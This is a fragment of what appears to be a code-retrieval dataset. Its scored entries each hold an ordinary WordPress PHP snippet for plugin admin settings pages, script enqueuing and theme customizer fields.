SIMPLE_FIELDS_URL . \"datepicker/date.js\"); // date picker for type date\n\t\t\t\n\t\t\t// Date picker for type date\n\t\t\twp_enqueue_script(\"sf-jquery-datepicker\", SIMPLE_FIELDS_URL . \"datepicker/jquery.datePicker.js\");\n\t\t\twp_enqueue_style('sf-jquery-datepicker', SIMPLE_FIELDS_URL.'datepicker/datePicker.css', false, SIMPLE_FIELDS_VERSION);\n\n\t\t\t// Chosen for multi selects\n\t\t\t// wp_enqueue_script(\"chosen.jquery\", SIMPLE_FIELDS_URL . \"js/chosen/chosen.jquery.min.js\");\n\t\t\t// wp_enqueue_style(\"chosen\", SIMPLE_FIELDS_URL.'js/chosen/chosen.css', false, SIMPLE_FIELDS_VERSION);\n\n\t\t\twp_enqueue_style('simple-fields-styles-post', SIMPLE_FIELDS_URL.'styles-edit-post.css', false, SIMPLE_FIELDS_VERSION);\n\t\n\t\t}\n\n\t\t// Common scripts\n\t\twp_enqueue_script(\"jquery-ui-core\");\n\t\twp_enqueue_script(\"jquery-ui-sortable\");\n\t\twp_enqueue_script(\"jquery-ui-dialog\");\n\t\twp_enqueue_script(\"jquery-effects-highlight\");\n\t\twp_register_script('simple-fields-scripts', SIMPLE_FIELDS_URL.'scripts.js', false, SIMPLE_FIELDS_VERSION);\t\t\n\t\twp_localize_script('simple-fields-scripts', 'sfstrings', array(\n\t\t\t'page_type' => $page_type,\n\t\t\t'txtDelete' => __('Delete', 'simple-fields'),\n\t\t\t'confirmDelete' => __('Delete this field?', 'simple-fields'),\n\t\t\t'confirmDeleteGroup' => __('Delete this group?', 'simple-fields'),\n\t\t\t'confirmDeleteConnector' => __('Delete this post connector?', 'simple-fields'),\n\t\t\t'confirmDeleteRadio' => __('Delete radio button?', 'simple-fields'),\n\t\t\t'confirmDeleteDropdown' => __('Delete dropdown value?', 'simple-fields'),\n\t\t\t'adding' => __('Adding...', 'simple-fields'),\n\t\t\t'add' => __('Add', 'simple-fields'),\n\t\t\t'confirmRemoveGroupConnector' => __('Remove field group from post connector?', 'simple-fields'),\n\t\t\t'confirmRemoveGroup' => __('Remove this field group?', 'simple-fields'),\n\t\t\t'context' => __('Context', 'simple-fields'),\n\t\t\t'normal' => __('normal'),\n\t\t\t'advanced' => __('advanced'),\n\t\t\t'side' => __('side'),\n\t\t\t'low' => __('low'),\n\t\t\t'high' => __('high'),\n\t\t));\n\t\twp_enqueue_script('simple-fields-scripts');\n\n\t\t// Common styles\n\t\twp_enqueue_style('wp-jquery-ui-dialog');\n\n\t\t// Hook for plugins\n\t\tdo_action(\"simple_fields_enqueue_scripts\", $this);\n\n\t}", "title": "" }, { "docid": "44a77573c7c21a1a0fd27fde2e3c644f", "score": "0.6220378", "text": "function acf_input_admin_footer() { ?>\n\t<script type=\"text/javascript\">\n (function($) {\n acf.add_filter('color_picker_args', function( args, $field ){\n // add the hexadecimal codes here for the colors you want to appear as swatches\n args.palettes = ['#ffffff', '#c1c1c1', '#4c4c4c', '#343434', '#cc9e52', '#e17000', '#c10b24', '#00a9e0', '#283590', '#92d400'];\n // return colors\n return args;\n });\n })(jQuery);\n\t</script>\n<?php }", "title": "" }, { "docid": "e82f50b41c0e5a638577111910f48d54", "score": "0.6219306", "text": "function custom_settings_page() { ?>\n <div class=\"wrap\">\n <h1>Custom Settings</h1>\n <form method=\"post\" action=\"options.php\">\n <?php\n settings_fields( 'section' );\n do_settings_sections( 'theme-options' ); \n submit_button(); \n ?> \n </form>\n </div>\n<?php }", "title": "" }, { "docid": "f345ec684188cabe2c356d872c4f64da", "score": "0.621856", "text": "function soliloquy_custom_css_setting( $post ) {\n\n $instance = Soliloquy_Metaboxes::get_instance();\n ?>\n <tr id=\"soliloquy-config-custom-css-box\">\n <th scope=\"row\">\n <label for=\"soliloquy-config-custom-css\"><?php _e( 'Custom Slider CSS', 'soliloquy-css' ); ?></label>\n </th>\n <td>\n <textarea id=\"soliloquy-config-custom-css\" rows=\"10\" cols=\"75\" name=\"_soliloquy[custom_css]\" placeholder=\"<?php printf( __( 'e.g. %s', 'soliloquy-css' ), '#soliloquy-container-' . $post->ID . ' { margin-bottom: 20px; }' ); ?>\"><?php echo $instance->get_config( 'custom_css', $instance->get_config_default( 'custom_css' ) ); ?></textarea>\n <p class=\"description\"><?php printf( __( 'All custom CSS for this slider should start with <code>%s</code>. <a href=\"%s\" title=\"Need help?\" target=\"_blank\">Help?</a>', 'soliloquy-css' ), '#soliloquy-container-' . $post->ID, 'http://soliloquywp.com/docs/css-addon/' ); ?></p>\n </td>\n </tr>\n <?php\n\n}", "title": "" }, { "docid": "6786428f75afcb3b8dbec69a3278bc64", "score": "0.62180495", "text": "function admin_settings_init() { }", "title": "" }, { "docid": "ad0c51eeda3e25d82bcb70599186349d", "score": "0.62163264", "text": "function save_admin_settings() {\n $admin_settings = new AdminSettings();\n $admin_settings->save_custom_style($_POST);\n }", "title": "" }, { "docid": "a5479118889d04753911971b5f623a01", "score": "0.6211571", "text": "function custom_settings_page() { ?>\n <div class=\"wrap\">\n\t<h1>Custom Settings</h1>\n\t<form method=\"post\" action=\"options.php\">\n\t <?php\n\t\t settings_fields( 'section' );\n\t\t do_settings_sections( 'theme-options' ); \n\t\t submit_button(); \n\t ?> \n\t</form>\n </div>\n<?php }", "title": "" }, { "docid": "8e8b74703953e08011b624780feee6f5", "score": "0.6202609", "text": "function ct_settings() {\n\n\t\t// Check function exists.\n\t\tif ( function_exists( 'acf_add_options_page' ) ) {\n\n\t\t\tacf_add_options_page(\n\t\t\t\tarray(\n\t\t\t\t\t'position' => 1,\n\t\t\t\t\t'page_title' => 'CT Settings',\n\t\t\t\t\t'menu_title' => 'CT Settings',\n\t\t\t\t\t'menu_slug' => 'ct-settings',\n\t\t\t\t\t'icon_url' => 'dashicons-sos',\n\t\t\t\t)\n\t\t\t);\n\t\t}\n\t}", "title": "" }, { "docid": "21180cfca2a2c2f61a4c23c6e1f93d43", "score": "0.62010056", "text": "public function page_init()\n { \n register_setting(\n 'floaty_option_group', // Option group\n 'floaty_options', // Option name\n array( $this, 'sanitize' ) // Sanitize\n );\n\n add_settings_section(\n 'setting_section_id', // ID\n 'Floaty Background', // Title\n array( $this, 'print_section_info' ), // Callback\n 'floaty-setting-admin' // Page\n ); \n\n add_settings_field(\n 'svg_array', // ID\n 'Paste svg array', // Title \n array( $this, 'svg_array_callback' ), // Callback\n 'floaty-setting-admin', // Page\n 'setting_section_id' // Section \n );\n \n \n }", "title": "" }, { "docid": "3632ecaf3102b1460ee0b9b37151d29a", "score": "0.62004477", "text": "function renderpage_settings() {\n?>\n\t<div class=\"wrap\">\n\t\t<div class=\"icon32\" id=\"icon-themes\"></div>\n\t\t<h2>Essential SEO Settings</h2>\n\t\t<form action=\"options.php\" method=\"post\">\n\t\t<?php settings_fields('essential-seo-settings'); ?>\n\t\t<?php do_settings_sections('essential_seo_settings'); ?>\n\t\t<p class=\"submit\">\n\t\t\t<input name=\"essential-seo-settings[submit]\" type=\"submit\" class=\"button-primary\" value=\"<?php esc_attr_e('Save Changes'); ?>\" />\n\t\t</p>\n\t\t</form>\n\t</div>\n<?php\n}", "title": "" }, { "docid": "de440d0ffddb4808dcfcbff95ab31139", "score": "0.6199147", "text": "function custom_settings_page() { ?>\n <div class=\"wrap\">\n <h1>Custom Settings</h1>\n <form method=\"post\" action=\"options.php\">\n <?php\n settings_fields( 'section' );\n do_settings_sections( 'theme-options' );\n submit_button();\n ?>\n </form>\n </div>\n<?php }", "title": "" }, { "docid": "0c030eaee5af0b3b6c84cd31a2a2d046", "score": "0.61941797", "text": "function custom_settings_page() { ?>\n <div class=\"wrap\">\n <h1>Custom Settings</h1>\n <form method=\"post\" action=\"options.php\">\n <?php\n settings_fields('section');\n do_settings_sections('theme-options'); \n submit_button(); \n ?> \n </form>\n </div>\n<?php }", "title": "" }, { "docid": "0cff778bd6fe2a316818439bb08196c3", "score": "0.6188324", "text": "function custom_settings_page() { ?>\n <div class=\"wrap\">\n <h1>Custom Settings</h1>\n <form method=\"post\" action=\"options.php\">\n <?php\n settings_fields('section');\n do_settings_sections('theme-options');\n submit_button();\n ?>\n </form>\n </div>\n<?php }", "title": "" }, { "docid": "de1035a341135e37bd7eb8675985d7e4", "score": "0.6182921", "text": "public function page_init() {\n register_setting(\n 'wpribbon-settings-group', // Option group\n 'wpribbon-settings', // Option name\n array('sanitize_callback' => array($this, 'sanitize')) // Sanitize\n );\n\n add_settings_section(\n 'wp_ribbon_config', // ID\n 'Settings', // Title\n array($this, 'print_wp_ribbon_config_section_info'), // Callback\n 'wp-ribbon-admin' // Page\n );\n\n add_settings_field(\n 'enabled', // ID\n 'Enabled', // Title\n array($this, 'checkbox_callback'), // Callback\n 'wp-ribbon-admin', // Page\n 'wp_ribbon_config', // Section\n array('field_name' => 'enabled', 'field_label' => 'Enabled')\n );\n\n add_settings_field(\n 'link_url', // ID\n 'Link Url', // Title\n array($this, 'input_text_callback'), // Callback\n 'wp-ribbon-admin', // Page\n 'wp_ribbon_config', // Section\n array('field_name' => 'link_url', 'field_type' => 'url')\n );\n\n add_settings_field(\n 'title', // ID\n 'Ribbon title', // Title\n array($this, 'input_text_callback'), // Callback\n 'wp-ribbon-admin', // Page\n 'wp_ribbon_config', // Section\n array('field_name' => 'title', 'field_type' => 'text')\n );\n\n add_settings_field(\n 'fill', // ID\n 'Fill color', // Title\n array($this, 'input_text_callback'), // Callback\n 'wp-ribbon-admin', // Page\n 'wp_ribbon_config', // Section\n array('field_name' => 'fill', 'field_type' => 'text')\n );\n\n add_settings_field(\n 'width', // ID\n 'Width', // Title\n array($this, 'input_text_callback'), // Callback\n 'wp-ribbon-admin', // Page\n 'wp_ribbon_config', // Section\n array('field_name' => 'width', 'field_type' => 'text', 'default' => '150px')\n );\n\n add_settings_field(\n 'height', // ID\n 'Height', // Title\n array($this, 'input_text_callback'), // Callback\n 'wp-ribbon-admin', // Page\n 'wp_ribbon_config', // Section\n array('field_name' => 'height', 'field_type' => 'text', 'default' => '150px')\n );\n\n add_settings_field(\n 'position', // ID\n 'Position', // Title\n array($this, 'input_text_callback'), // Callback\n 'wp-ribbon-admin', // Page\n 'wp_ribbon_config', // Section\n array('field_name' => 'position', 'field_type' => 'text')\n );\n }", "title": "" }, { "docid": "523b52801596007f9f5371f4434677da", "score": "0.617758", "text": "function admin_tab_settings()\r\n\t{\t\r\n?>\r\n\t\t<form method=\"post\" action=\"options.php\">\r\n\t\t\t<?php $this->mSettings->PrintAdminFormData() ?>\r\n\t\t\t\r\n\t\t\t<div class=\"general_box jq_section\">\r\n\t\t\t\r\n\t\t\t\t<h3>General</h3>\r\n\t\t\t\t\r\n\t\t\t\t\t<?php $this->mSettings->PrintTextbox(\"audior_license_key\", \"\", \"Audior License Key\"); ?>\r\n\t\t\t\t\t\r\n\t\t\t\t<!-- ======================================= -->\r\n\t\t\t\t<div class=\"entry <?php echo $inSetting ?>\">\r\n\t\t\t\t\t<span class=\"name\">Default Upload Folder:</span><br /><?php echo home_url()?><input type=\"text\" name=\"<?php echo $this->mSettings->GetWPName(\"default_upload_folder\") ?>\" value =\"<?php echo $this->mSettings->Get(\"default_upload_folder\", \"/wp-content/uploads/audio_uploads\") ?>\" /> \r\n\t\t\t\t\t<span class=\"description\"></span>\r\n\t\t\t\t</div>\t\r\n\t\t\t\t\r\n\t\t\t</div>\r\n\r\n\t\t\t<div style=\"clear: both\"></div>\r\n\t\t\t<?php submit_button(); ?>\r\n\t\t</form>\r\n<?php\r\n\r\n\t}", "title": "" }, { "docid": "1f4a44645c7d873104b62a6858dbea81", "score": "0.61699814", "text": "public function register_settings_field() {\n\n\t\tregister_setting( 'movie-options', 'movie_option' );\n\n\t\tadd_settings_section(\n\t\t\t'movie_settings_section',\n\t\t\t__( 'Movie Libray Setting', 'movie-library-plugin' ),\n\t\t\t'',\n\t\t\t'movie-options'\n\t\t);\n\n\t\tadd_settings_field(\n\t\t\t'movie_settings_field',\n\t\t\t__( 'Movie Library Field', 'movie-library-plugin' ),\n\t\t\tarray( $this, 'movie_field_html' ),\n\t\t\t'movie-options',\n\t\t\t'movie_settings_section'\n\t\t);\n\n\t}", "title": "" }, { "docid": "2bafc5519ff120ad0c2f7527a50758cd", "score": "0.6167923", "text": "function demo_settings_page()\n{\n add_settings_section(\"section\", \"Section\", null, \"demo\");\n add_settings_field(\"demo-checkbox\", \"Demo Checkbox\", \"demo_checkbox_display\", \"demo\", \"section\"); \n register_setting(\"section\", \"demo-checkbox\");\n}", "title": "" }, { "docid": "e59b1d2e8a36726bd1d61121e635657c", "score": "0.6146521", "text": "public function page_init()\n { \n register_setting(\n 'url_sharing_option_group', // Option group\n 'url_sharing_option_name', // Option name\n array( $this, 'sanitize' ) // Sanitize\n );\n\n add_settings_section(\n 'setting_section_id', // ID\n 'Change Label', // label\n array( $this, 'print_section_info' ), // Callback\n 'url-share-setting-admin' // Page\n ); \n\n add_settings_field(\n 'label', \n 'Label', \n array( $this, 'label_callback' ), \n 'url-share-setting-admin', \n 'setting_section_id'\n );\n\n add_settings_field(\n 'button', \n 'Button', \n array( $this, 'button_callback' ), \n 'url-share-setting-admin', \n 'setting_section_id'\n ); \n }", "title": "" }, { "docid": "129968c2ce5b14137d359f8e273c1bbe", "score": "0.6135652", "text": "function settings_page_init() {\n\t$theme_data = get_theme_data( TEMPLATEPATH . '/style.css' );\n\t$settings_page = add_theme_page( $theme_data['Name']. ' Theme Settings', $theme_data['Name']. ' Theme Settings', 'edit_theme_options', 'theme-settings', 'settings_page' );\n\n\tadd_action( \"load-{$settings_page}\", 'load_settings_page' );\n\n}", "title": "" }, { "docid": "7f0c34339edfde1f8720a2789e6ab7e4", "score": "0.6135564", "text": "function optinforms_form1_css() {\n\tglobal $optinforms_form1_css;\n\treturn $optinforms_form1_css;\n}", "title": "" }, { "docid": "f0d210d9f44ff1a44c6fd103d557e4a4", "score": "0.61349803", "text": "function addAdminSettings() {\n // Register setting\n register_setting('ssb_settings', 'ssb_settings', array( $this, 'sanitizeOptions'));\n \n // Register section \n add_settings_section(\n 'ssb_settings_section',\n __('Social Share Buttons Settings', 'social-share-buttons'),\n null,\n 'ssb_settings_menu_page'\n );\n \n // Add settings fields\n add_settings_field(\n 'ssb_settings_icons_display',\n __('Display Icons', 'social-share-buttons'),\n array( $this, 'outputIconsDisplayField'),\n 'ssb_settings_menu_page',\n 'ssb_settings_section'\n );\n\n add_settings_field(\n 'ssb_settings_icons_size',\n __('Size of Icons', 'social-share-buttons'),\n array( $this, 'outputIconsSizeField'),\n 'ssb_settings_menu_page',\n 'ssb_settings_section'\n );\n\n add_settings_field(\n 'ssb_settings_icons_placing',\n __('Placing of Social Share Bar', 'social-share-buttons'),\n array( $this, 'outputIconsPlacingField'),\n 'ssb_settings_menu_page',\n 'ssb_settings_section'\n );\n\n add_settings_field(\n 'ssb_settings_icons_colors',\n __('Colors of Icons', 'social-share-buttons'),\n array( $this, 'outputIconsColorsField'),\n 'ssb_settings_menu_page',\n 'ssb_settings_section'\n );\n\n add_settings_field(\n 'ssb_settings_icons_visibility',\n __('Visibility of Icons', 'social-share-buttons'),\n array( $this, 'outputIconsVisibilityField'),\n 'ssb_settings_menu_page',\n 'ssb_settings_section'\n );\n\n add_settings_field(\n 'ssb_settings_icons_order',\n __('Order of Icons (Drag to Reorder)', 'social-share-buttons'),\n array( $this, 'outputIconsOrderField'),\n 'ssb_settings_menu_page',\n 'ssb_settings_section'\n );\n }", "title": "" }, { "docid": "249ba147b28397869f417543763fca9e", "score": "0.613243", "text": "function fl_my_custom_field_assets() {\n if ( class_exists( 'FLBuilderModel' ) && FLBuilderModel::is_builder_active() ) {\n wp_enqueue_style( 'my-custom-fields', TMC_BB_URL . 'assets/css/fields.css', array(), '' );\n wp_enqueue_script( 'my-custom-fields', TMC_BB_URL . 'assets/js/fields.js', array(), '', true );\n }\n}", "title": "" }, { "docid": "5359a30f27e0dfec1d848de5e17db2f5", "score": "0.6130079", "text": "function scripts_field_custom(){\n\t\twp_register_style( 'daterangepicker', REMO_INPUTS_CSS . '/daterangepicker.css', array('bootstrap-admin'), '1.0.0' );\n\t\twp_enqueue_style( 'daterangepicker' );\n\n\t\twp_register_script( 'daterangepicker', REMO_INPUTS_JS . '/daterangepicker.js', array('bootstrap-admin'), '1.0.0', true );\n\t\twp_register_script( 'moment', REMO_INPUTS_JS . '/moment.min.js', array('bootstrap-admin'), '1.0.0', true );\n\n\t\twp_enqueue_script( 'daterangepicker' );\n\t\twp_enqueue_script( 'moment' );\n\t}", "title": "" }, { "docid": "bea9dd1940f2b2c156a1c37bfcb238b1", "score": "0.6129828", "text": "function theme_settings_admin() { ?>\n<?php theme_options_css_js(); ?>\n<div class=\"wrap yui-skin-sam\">\n<?php\n\n\t// display the proper notification if Saved/Reset\n\tglobal $settings, $defaults;\n\tif(tt_option('reset')) {\n\t\techo '<div class=\"updated fade\" id=\"message\"><p>'.__('Template Options', 'kubrick').' <strong>'.__('RESET TO DEFAULTS', 'kubrick').'</strong></p></div>';\n\t\tupdate_option($settings, $defaults);\n\t} elseif($_REQUEST['updated'] == 'true') {\n\t\techo '<div class=\"updated fade\" id=\"message\"><p>'.__('Template Options', 'kubrick').' <strong>'.__('SAVED', 'kubrick').'</strong></p></div>';\n\t}\n\t// display icon next to page title\n\t//screen_icon('page');\n?>\n<div class=\"option-title\">\n\t<h2><?php echo 'Theme Options for: ' . get_bloginfo(name); ?></h2>\n</div>\n\t<form method=\"post\" action=\"options.php\">\n\t<?php settings_fields($settings); // important! ?>\n\t\n<?php include (TEMPLATEPATH.\"/includes/tab-control.templateer\"); ?>\n \n\t</form>\n\t<p style=\"color:#999;text-align:right;\">Theme Options Version 1.1.0</p>\n</div><!-- wrap end -->\n\n\n<?php }", "title": "" }, { "docid": "fb3630404a7c4ce3c2d2b6a34579565f", "score": "0.61293244", "text": "function register_settings()\n\n {\n\n // flag our settings\n\n register_setting(\n\n FFM_PREFIX . 'settings', // group\n\n FFM_PREFIX . 'settings', // name of options\n\n array( 'FrontFileManager', 'validate_settings' ) // validation callback\n\n );\n\n\n\n add_settings_section(\n\n FFM_PREFIX . 'options', // section ID\n\n 'Options', // title\n\n array( 'FrontFileManager', 'edit_options' ), // display callback\n\n FFM_PREFIX . 'options' // page name (do_settings_sections)\n\n );\n\n\n\n // submission passcode\n\n add_settings_field(\n\n FFM_PREFIX . 'passcode', // unique field ID\n\n 'Submission Passcode', // title\n\n array( 'FrontFileManager', 'edit_passcode' ), // input box display callback\n\n FFM_PREFIX . 'options', // page name (as above)\n\n FFM_PREFIX . 'options' // first arg to add_settings_section\n\n );\n\n\n\n // file size limit\n\n add_settings_field(\n\n FFM_PREFIX . 'max_file_size', // unique field ID\n\n 'Max File Size', // title\n\n array( 'FrontFileManager', 'edit_max_file_size' ), // input box display callback\n\n FFM_PREFIX . 'options', // page name (as above)\n\n FFM_PREFIX . 'options' // first arg to add_settings_section\n\n );\n\n\n\n // custom file extensions\n\n add_settings_field(\n\n FFM_PREFIX . 'custom_file_extensions', // unique field ID\n\n 'Custom File Extension(s)', // title\n\n array( 'FrontFileManager', 'edit_file_extensions' ), // input box display callback\n\n FFM_PREFIX . 'options', // page name (as above)\n\n FFM_PREFIX . 'options' // first arg to add_settings_section\n\n );\n\n\n\n // email recipients\n\n add_settings_field(\n\n FFM_PREFIX . 'email_recipients', // unique field ID\n\n 'Email Recipient(s)', // title\n\n array( 'FrontFileManager', 'edit_email_recipients' ), // input box display callback\n\n FFM_PREFIX . 'options', // page name (as above)\n\n FFM_PREFIX . 'options' // first arg to add_settings_section\n\n );\n\n\n\n // email subject\n\n add_settings_field(\n\n FFM_PREFIX . 'email_subject', // unique field ID\n\n 'Email Subject', // title\n\n array( 'FrontFileManager', 'edit_email_subject' ), // input box display callback\n\n FFM_PREFIX . 'options', // page name (as above)\n\n FFM_PREFIX . 'options' // first arg to add_settings_section\n\n );\n\n\n\n // email template\n\n add_settings_field(\n\n FFM_PREFIX . 'email_template', // unique field ID\n\n 'Email Template', // title\n\n array( 'FrontFileManager', 'edit_email_template' ), // input box display callback\n\n FFM_PREFIX . 'options', // page name (as above)\n\n FFM_PREFIX . 'options' // first arg to add_settings_section\n\n );\n\n\n\n // success message\n\n add_settings_field(\n\n FFM_PREFIX . 'success_message', // unique field ID\n\n 'Success Message', // title\n\n array( 'FrontFileManager', 'edit_success_message' ), // input box display callback\n\n FFM_PREFIX . 'options', // page name (as above)\n\n FFM_PREFIX . 'options' // first arg to add_settings_section\n\n );\n\n\n\n // success message\n\n add_settings_field(\n\n FFM_PREFIX . 'only_registered', // unique field ID\n\n 'Only Registered Users', // title\n\n array( 'FrontFileManager', 'only_registered' ), // input box display callback\n\n FFM_PREFIX . 'options', // page name (as above)\n\n FFM_PREFIX . 'options' // first arg to add_settings_section\n\n ); \n\n \n\n // success message\n\n add_settings_field(\n\n FFM_PREFIX . 'auto_downloadable', // unique field ID\n\n 'Auto downloadable upon upload', // title\n\n array( 'FrontFileManager', 'auto_downloadable' ), // input box display callback\n\n FFM_PREFIX . 'options', // page name (as above)\n\n FFM_PREFIX . 'options' // first arg to add_settings_section\n\n ); \n\n\n\n }", "title": "" }, { "docid": "42be1262cd673176bdab8298c26c0520", "score": "0.6125543", "text": "public function colorpicker_field_callback($field) {\n global $WCPc;\n $field['value'] = isset( $field['value'] ) ? esc_attr( $field['value'] ) : '';\n $field['value'] = isset( $this->options[$field['name']] ) ? esc_attr( $this->options[$field['name']] ) : $field['value'];\n $field['name'] = \"wcpc_{$field['tab']}_settings_name[{$field['name']}]\";\n $WCPc->wcpc_wp_fields->colorpicker_input($field);\n }", "title": "" }, { "docid": "06b9440656097cfe5af5c41fa1686735", "score": "0.61243725", "text": "function appcms_settings($saved_settings) {\n\t//Need to add icons here possibly\n // Set the default values for the theme variables\n $defaults = array(\n 'appcms_theme' => 'default',\n );\n \n // Merge the variables and their default values\n $settings = array_merge($defaults, $saved_settings);\n \n // Layout Type\n $form['appcms_theme'] = array(\n '#type' => 'select',\n '#title' => t('Theme Type'),\n '#default_value' => $settings['appcms_theme'],\n '#options' => array(\n\t 'default' => t('Default'),\n 'jqt' => t('jQTouch'),\n 'apple' => t('Apple'),\n 'artspot' => t('Artspot'),\n ),\n '#description' => t('This will determine the colour and appearance of your app.'),\n );\n\n return $form;\n}", "title": "" }, { "docid": "97d9075fa71d1b5940425d00f26561ce", "score": "0.6124166", "text": "public function setup_fields() {\n\t\t$section_id = 'wmf_social';\n\t\t$this->customize->add_section(\n\t\t\t$section_id, array(\n\t\t\t\t'title' => __( 'Social', 'shiro-admin' ),\n\t\t\t\t'priority' => 70,\n\t\t\t)\n\t\t);\n\n\t\t$control_id = 'wmf_tweet_this_copy';\n\t\t$this->customize->add_setting(\n\t\t\t$control_id, array(\n\t\t\t\t'default' => __( 'Tweet this', 'shiro-admin' ),\n\t\t\t)\n\t\t);\n\t\t$this->customize->add_control(\n\t\t\t$control_id, array(\n\t\t\t\t'label' => __( 'Tweet this copy', 'shiro-admin' ),\n\t\t\t\t'description' => __( 'Copy used for \"Tweet this\" label beneath facts.', 'shiro-admin' ),\n\t\t\t\t'section' => $section_id,\n\t\t\t\t'type' => 'text',\n\t\t\t)\n\t\t);\n\n\t\t$control_id = 'wmf_social_follow_text';\n\t\t$this->customize->add_setting(\n\t\t\t$control_id, array(\n\t\t\t\t'default' => __( 'Follow', 'shiro-admin' ),\n\t\t\t)\n\t\t);\n\t\t$this->customize->add_control(\n\t\t\t$control_id, array(\n\t\t\t\t'label' => __( 'Follow Text', 'shiro-admin' ),\n\t\t\t\t'description' => __( 'This is used above follow links in multiple modules.', 'shiro-admin' ),\n\t\t\t\t'section' => $section_id,\n\t\t\t\t'type' => 'text',\n\t\t\t)\n\t\t);\n\n\t\t$control_id = 'wmf_social_share_text';\n\t\t$this->customize->add_setting(\n\t\t\t$control_id, array(\n\t\t\t\t'default' => __( 'Share', 'shiro-admin' ),\n\t\t\t)\n\t\t);\n\t\t$this->customize->add_control(\n\t\t\t$control_id, array(\n\t\t\t\t'label' => __( 'Share Text', 'shiro-admin' ),\n\t\t\t\t'description' => __( 'This is used above share links in multiple modules.', 'shiro-admin' ),\n\t\t\t\t'section' => $section_id,\n\t\t\t\t'type' => 'text',\n\t\t\t)\n\t\t);\n\n\t\t$control_id = 'wmf_twitter_id';\n\t\t$this->customize->add_setting(\n\t\t\t$control_id, array(\n\t\t\t\t'default' => 'Wikimedia',\n\t\t\t)\n\t\t);\n\t\t$this->customize->add_control(\n\t\t\t$control_id, array(\n\t\t\t\t'label' => __( 'Twitter @', 'shiro-admin' ),\n\t\t\t\t'section' => $section_id,\n\t\t\t\t'type' => 'text',\n\t\t\t)\n\t\t);\n\n\t\t$control_id = 'wmf_twitter_url';\n\t\t$this->customize->add_setting( $control_id );\n\t\t$this->customize->add_control(\n\t\t\t$control_id, array(\n\t\t\t\t'label' => __( 'Twitter URI', 'shiro-admin' ),\n\t\t\t\t'section' => $section_id,\n\t\t\t\t'type' => 'text',\n\t\t\t)\n\t\t);\n\n\t\t$control_id = 'wmf_facebook_label';\n\t\t$this->customize->add_setting(\n\t\t\t$control_id, array(\n\t\t\t\t'default' => __( 'Facebook', 'shiro-admin' ),\n\t\t\t)\n\t\t);\n\t\t$this->customize->add_control(\n\t\t\t$control_id, array(\n\t\t\t\t'label' => __( 'Facebook Label', 'shiro-admin' ),\n\t\t\t\t'section' => $section_id,\n\t\t\t\t'type' => 'text',\n\t\t\t)\n\t\t);\n\n\t\t$control_id = 'wmf_facebook_url';\n\t\t$this->customize->add_setting( $control_id );\n\t\t$this->customize->add_control(\n\t\t\t$control_id, array(\n\t\t\t\t'label' => __( 'Facebook URI', 'shiro-admin' ),\n\t\t\t\t'section' => $section_id,\n\t\t\t\t'type' => 'text',\n\t\t\t)\n\t\t);\n\n\t\t$control_id = 'wmf_instagram_label';\n\t\t$this->customize->add_setting(\n\t\t\t$control_id, array(\n\t\t\t\t'default' => __( 'Instagram', 'shiro-admin' ),\n\t\t\t)\n\t\t);\n\t\t$this->customize->add_control(\n\t\t\t$control_id, array(\n\t\t\t\t'label' => __( 'Instagram Label', 'shiro-admin' ),\n\t\t\t\t'section' => $section_id,\n\t\t\t\t'type' => 'text',\n\t\t\t)\n\t\t);\n\n\t\t$control_id = 'wmf_instagram_url';\n\t\t$this->customize->add_setting( $control_id );\n\t\t$this->customize->add_control(\n\t\t\t$control_id, array(\n\t\t\t\t'label' => __( 'Instagram URI', 'shiro-admin' ),\n\t\t\t\t'section' => $section_id,\n\t\t\t\t'type' => 'text',\n\t\t\t)\n\t\t);\n\n\t\t$control_id = 'wmf_blog_label';\n\t\t$this->customize->add_setting(\n\t\t\t$control_id, array(\n\t\t\t\t'default' => __( 'Wikimedia Blog', 'shiro-admin' ),\n\t\t\t)\n\t\t);\n\t\t$this->customize->add_control(\n\t\t\t$control_id, array(\n\t\t\t\t'label' => __( 'Blog Label', 'shiro-admin' ),\n\t\t\t\t'section' => $section_id,\n\t\t\t\t'type' => 'text',\n\t\t\t)\n\t\t);\n\t\t$control_id = 'wmf_blog_url';\n\t\t$this->customize->add_setting( $control_id );\n\t\t$this->customize->add_control(\n\t\t\t$control_id, array(\n\t\t\t\t'label' => __( 'Blog URI', 'shiro-admin' ),\n\t\t\t\t'section' => $section_id,\n\t\t\t\t'type' => 'text',\n\t\t\t)\n\t\t);\n\t}", "title": "" }, { "docid": "425fc60670a67a9752b4a351b406faec", "score": "0.6117186", "text": "function theme_options_page()\n\t{\n\t\tglobal $pagenow;\n\t\t\n\t\t?>\n\t\t\n\t\t<div class=\"wrap wrap2\">\n\t\t\t<script src=\"<?php echo get_template_directory_uri(); ?>/admin/colorpicker/colorpicker.js\"></script>\n\t\t\t\n\t\t\t<div class=\"status\">\n\t\t\t\t<img width=\"16\" height=\"16\" alt=\"...\" src=\"<?php echo get_template_directory_uri(); ?>/admin/ajax-loader.gif\">\n\t\t\t\t\n\t\t\t\t<strong></strong>\n\t\t\t</div>\n\t\t\t<!-- end .status -->\n\t\t\t\n\t\t\t<script>\n\t\t\t\tjQuery(document).ready( function( $ )\n\t\t\t\t{\n\t\t\t\t\n\t\t\t\t// -------------------------------------------------------------------------\n\t\t\t\t\n\t\t\t\t\tvar uploadID = '',\n\t\t\t\t\t\tuploadImg = '';\n\n\t\t\t\t\tjQuery( '.upload-button' ).click(function()\n\t\t\t\t\t{\n\t\t\t\t\t\tuploadID = jQuery(this).prev( 'input' );\n\t\t\t\t\t\tuploadImg = jQuery(this).next( 'img' );\n\t\t\t\t\t\tformfield = jQuery( '.upload' ).attr( 'name' );\n\t\t\t\t\t\ttb_show( \"\", 'media-upload.php?post_id=0&amp;type=image&amp;TB_iframe=true' );\n\t\t\t\t\t\treturn false;\n\t\t\t\t\t});\n\t\t\t\t\t\n\t\t\t\t\twindow.send_to_editor = function( html )\n\t\t\t\t\t{\n\t\t\t\t\t\timgurl = jQuery( 'img', html ).attr( 'src' );\n\t\t\t\t\t\tuploadID.val( imgurl );\n\t\t\t\t\t\tuploadImg.attr('src', imgurl);\n\t\t\t\t\t\ttb_remove();\n\t\t\t\t\t}\n\t\t\t\t\n\t\t\t\t// -------------------------------------------------------------------------\n\t\t\t\t\n\t\t\t\t\t$(\".alert-success p\").click(function()\n\t\t\t\t\t{\n\t\t\t\t\t\t$(this).fadeOut(\"slow\", function()\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$( \".alert-success\" ).slideUp( \"slow\" );\n\t\t\t\t\t\t});\n\t\t\t\t\t});\n\t\t\t\t\n\t\t\t\t// -------------------------------------------------------------------------\n\t\t\t\t\t\n\t\t\t\t\t$( '.color-selector' ).each( 